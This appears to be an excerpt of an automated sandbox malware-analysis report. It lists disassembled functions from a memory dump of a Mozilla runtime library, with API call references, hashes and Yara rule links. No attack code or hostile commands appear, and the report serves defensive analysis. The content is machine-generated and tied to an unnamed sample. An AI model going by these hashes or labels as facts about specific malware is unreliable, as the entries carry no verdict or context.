Instruction Fuzzy Hash: 5161AA75A04344DBDB20DF25DC90B9AB7F5BFC5308F05891DE8895B611EB71E888CBA2

Function 6C52B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C52B61E,?,?,?,?,?,00000000), ref: 6C52B6AC

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C52B61E,?,?,?,?,?,00000000), ref: 6C52B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C52B61E,?,?,?,?,?,00000000), ref: 6C52B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C52B61E,?,?,?,?,?,00000000), ref: 6C52B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C52B61E,?,?,?,?,?,00000000), ref: 6C52B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C52B61E), ref: 6C52B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C52B61E,?,?,?,?,?,00000000), ref: 6C52B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C52B61E,?,?,?,?,?,00000000), ref: 6C52B79A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 70cffc57651404f2f9bc789b03ba2293e07cd36ba010eaaac2c340c65ac30d6a
Instruction ID: 7b11b2c10db385004f64460658b32d4374929f9965643887e7c3ec17e7c454d4
Opcode Fuzzy Hash: 70cffc57651404f2f9bc789b03ba2293e07cd36ba010eaaac2c340c65ac30d6a
Instruction Fuzzy Hash: B541B4B2D001159FCB04EF68DC809AEB7F5FB84324F290669E866E7790E735AD0487E1

Function 6C52EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C5A5104), ref: 6C52EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C52EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C52EFEC
free.MOZGLUE(?), ref: 6C52F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C52F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C52F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F065
moz_xmalloc.MOZGLUE ref: 6C52F072

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 7e93d299a51d8260312e208c8cbd06d6bb3ba731fe39b5a6b6a6c758f5bc731c
Instruction ID: 0e7eb57f4020ef510a4f5e2a4e8bda8def402640c37ff0c3617769d19362643d
Opcode Fuzzy Hash: 7e93d299a51d8260312e208c8cbd06d6bb3ba731fe39b5a6b6a6c758f5bc731c
Instruction Fuzzy Hash: 6E41C4B1A002159FCB18CF68EC809AE77A5AF88314B244768E816DB7D4FB71E91587E1

Function 6C59B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C59B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C59B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C59B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C59B5F4
__Init_thread_footer.LIBCMT ref: 6C59B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C59B61F
std::_Facet_Register.LIBCPMT ref: 6C59B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59B655

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 2f8bcfdbe0df1dcaa12f4487fc630b0344302bb6303317a4d1b1d0fb8bbb390a
Instruction ID: 49c05a19ed0d2a78ae198a35480cc7629fbbfbbf836d5d1b3bddfcadea6a2639
Opcode Fuzzy Hash: 2f8bcfdbe0df1dcaa12f4487fc630b0344302bb6303317a4d1b1d0fb8bbb390a
Instruction Fuzzy Hash: 49318671B00104CBDF11EBEADC985AEB7B5FB85325B160656D50297740DB30A906CBD5

Function 6C566590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C55FA80: GetCurrentThreadId.KERNEL32 ref: 6C55FA8D
Part of subcall function 6C55FA80: AcquireSRWLockExclusive.KERNEL32(6C5AF448), ref: 6C55FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C566727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5667C8

Part of subcall function 6C574290: memcpy.VCRUNTIME140(?,?,6C582003,6C580AD9,?,6C580AD9,00000000,?,6C580AD9,?,00000004,?,6C581A62,?,6C582003,?), ref: 6C5742C4

Strings

data, xrefs: 6C566593
vZl, xrefs: 6C56696C

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vZl
API String ID: 511789754-1456812446
Opcode ID: 3db6876f3495e91ed15feb6fe3e2bf00faa4a4e9d6b5d6ecb6bb68923b895291
Instruction ID: 599bdc5eb83e4999a54ea0273316675106d5c9182a0b15a2f583f72c6aad0081
Opcode Fuzzy Hash: 3db6876f3495e91ed15feb6fe3e2bf00faa4a4e9d6b5d6ecb6bb68923b895291
Instruction Fuzzy Hash: D3D19B75A04340CFD724DF26DC51B9EB7E5AFC5308F10892EE58987BA1EB30A949CB52

Function 6C55D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C52EB57,?,?,?,?,?,?,?,?,?), ref: 6C55D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C52EB57,?), ref: 6C55D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C52EB57,?), ref: 6C55D673
free.MOZGLUE(?), ref: 6C55D888

Strings

|Enabled, xrefs: 6C55D81E
WRl, xrefs: 6C55D5D9, 6C55D63F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WRl$|Enabled
API String ID: 4142949111-1016132600
Opcode ID: 06ce7454a2240e584c49930d48b8fbeb1dc37f3a26202c0eabcace6ed8354103
Instruction ID: abad8aee4aa0939f8d8975fe55c756f9cf1555f7745be43fb6bbb86c4416b124
Opcode Fuzzy Hash: 06ce7454a2240e584c49930d48b8fbeb1dc37f3a26202c0eabcace6ed8354103
Instruction Fuzzy Hash: 0EA10271A00304CFDB11CF69CD807AEBBF1AF49318F58855ED889AB782D735A855CBA1

Function 6C539830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C587ABE), ref: 6C53985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C587ABE), ref: 6C5398A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C539909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C539918
free.MOZGLUE(?), ref: 6C539975

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: fc59a0734ff45134850c4871cdae1d0ac845c89a910f19192148062e6b21a2f6
Instruction ID: c3c904cb898e923268325b896e009a9124755790d00a9460637a9a03adaf8ce8
Opcode Fuzzy Hash: fc59a0734ff45134850c4871cdae1d0ac845c89a910f19192148062e6b21a2f6
Instruction Fuzzy Hash: C5718CB5604715CFC725CF28C880956B7F1FF8A3247645AADD85A8BB90EB31F841CB91

Function 6C53B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C57CC83,?,?,?,?,?,?,?,?,?,6C57BCAE,?,?,6C56DC2C), ref: 6C53B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C57CC83,?,?,?,?,?,?,?,?,?,6C57BCAE,?,?,6C56DC2C), ref: 6C53B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C57CC83,?,?,?,?,?,?,?,?,?,6C57BCAE), ref: 6C53B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C57CC83,?,?,?,?,?,?,?,?,?,6C57BCAE,?,?,6C56DC2C), ref: 6C53B896

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 89496ce0ee06aa73daf2af6cf33fd307b4c09885d967e55b0cb1427a0d6134af
Instruction ID: 4dbedc0722fcdaeb678331a47847c50d5dd523bfdc8d5596a1259e2bcb1f343b
Opcode Fuzzy Hash: 89496ce0ee06aa73daf2af6cf33fd307b4c09885d967e55b0cb1427a0d6134af
Instruction Fuzzy Hash: F451BE75B00A148FCB15EF59C894A2AFBF1FF88318B69895DE98A97341D731EC01CB84

Function 6C571D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C571D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C571BE3,?,?,6C571D96,00000000), ref: 6C571D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C571BE3,?,?,6C571D96,00000000), ref: 6C571D4C
GetCurrentThreadId.KERNEL32 ref: 6C571DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C571DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C571DDA

Part of subcall function 6C571EF0: GetCurrentThreadId.KERNEL32 ref: 6C571F03
Part of subcall function 6C571EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C571DF2,00000000,00000000), ref: 6C571F0C
Part of subcall function 6C571EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C571F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C571DF4

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 2229f6473e4d9fea9d679d0e22852efe3d6fac2e711ef25d459b4997a6401524
Instruction ID: 99d8896970c972e057d47400c14eec19c3f392d1b084f446282995c3203abd6e
Opcode Fuzzy Hash: 2229f6473e4d9fea9d679d0e22852efe3d6fac2e711ef25d459b4997a6401524
Instruction Fuzzy Hash: E841ABB52003049FCB20DF65C998B5ABBF8FB89314F11442EE95A87B41DB31F854CB94

Function 6C5684E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5684F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C56850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C56851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C56855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C56856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5685AC

Part of subcall function 6C567670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C56767F
Part of subcall function 6C567670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C567693
Part of subcall function 6C567670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5676A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5685B2

Part of subcall function 6C545E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C545EDB
Part of subcall function 6C545E90: memset.VCRUNTIME140(ewXl,000000E5,?), ref: 6C545F27
Part of subcall function 6C545E90: LeaveCriticalSection.KERNEL32(?), ref: 6C545FB2

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 4845ac209ccead4fed5ad62a10247666347ed82df15a516b98873de993e7ede3
Instruction ID: cf5f6cabf85fac3f1f0ac3c001150409005577d8d1c9ffd4c14f68cb15907f03
Opcode Fuzzy Hash: 4845ac209ccead4fed5ad62a10247666347ed82df15a516b98873de993e7ede3
Instruction Fuzzy Hash: 94219A702016019FDB14DB2AEC88A5BB7B5BF9530CF240829E55B83B42EB31F948CB56

Function 6C531640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C531699
VerSetConditionMask.NTDLL ref: 6C5316CB
VerSetConditionMask.NTDLL ref: 6C5316D7
VerSetConditionMask.NTDLL ref: 6C5316DE
VerSetConditionMask.NTDLL ref: 6C5316E5
VerSetConditionMask.NTDLL ref: 6C5316EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5316F9

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 34780a777f27adf2774454ebc251551d9ae342f81497026b3762776437d1ff74
Instruction ID: 220554adaf3ee23e16bd0897a20eb7774da0a319ddf2352e4db56f9ed9ed82f6
Opcode Fuzzy Hash: 34780a777f27adf2774454ebc251551d9ae342f81497026b3762776437d1ff74
Instruction Fuzzy Hash: 6C2154B07402086BEB106AA59C89FBFB3BCEFC6704F014528F2499B1C0D7789D14C7A1

Function 6C56F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C56F598), ref: 6C56F621

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

GetCurrentThreadId.KERNEL32 ref: 6C56F637
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8,?,?,00000000,?,6C56F598), ref: 6C56F645
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8,?,?,00000000,?,6C56F598), ref: 6C56F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C56F62A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: acb233c8ec82e0b6b07d16656232d9889170588f7ac759b3947fe1f59271030c
Instruction ID: 73d54ee11c98f13c5e5eb2a13531bf548fb37e46f69f9f51208ece9c7c8091a0
Opcode Fuzzy Hash: acb233c8ec82e0b6b07d16656232d9889170588f7ac759b3947fe1f59271030c
Instruction Fuzzy Hash: 0011E735601204EFCB04AF9BEC44A997B79FBC635DB510115EA0583F11CB32AC11CBE4

Function 6C532070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

LoadLibraryW.KERNEL32(combase.dll,6C531C5F), ref: 6C5320AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5320CD
__Init_thread_footer.LIBCMT ref: 6C5320E1
FreeLibrary.KERNEL32 ref: 6C532124

Strings

CoInitializeSecurity, xrefs: 6C5320C7
combase.dll, xrefs: 6C5320A9

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 148da5a7b368a4e4e53ca4d7e6ac6d57b4c14dcc9f5dc5f42317ea93a5d9c61b
Instruction ID: 29a6864b96219160f93741c7478f43995a97131a57b4e4e7dfb2d71ab301cb30
Opcode Fuzzy Hash: 148da5a7b368a4e4e53ca4d7e6ac6d57b4c14dcc9f5dc5f42317ea93a5d9c61b
Instruction Fuzzy Hash: 10216A76200209EFDF11DF96EC58D9E3BB6FB4A325F114215FA0492612E7319861DFA4

Function 6C5876C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5876F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C587705

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C587717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C58778F,00000000,00000000,00000000,00000000), ref: 6C587731
free.MOZGLUE(00000000), ref: 6C587760

Strings

}>Vl, xrefs: 6C5876C4

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Vl
API String ID: 2538299546-1040300134
Opcode ID: e0aad1045270d52f6b7d04381ff132f3087009e1e21d9b39df5d81afb740a764
Instruction ID: 956d818290d73a5a9691790221d9b1d4bc320ad36ee8c838046f7dd3b21f2645
Opcode Fuzzy Hash: e0aad1045270d52f6b7d04381ff132f3087009e1e21d9b39df5d81afb740a764
Instruction Fuzzy Hash: 391198B1A05225ABDB10AFB69C44B6B7FE8EF46354F144529F848D7300E7719D44C7E2

Function 6C531FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C531FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C531FFD
__Init_thread_footer.LIBCMT ref: 6C532011
FreeLibrary.KERNEL32 ref: 6C532059

Strings

CoCreateInstance, xrefs: 6C531FF7
combase.dll, xrefs: 6C531FD9

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
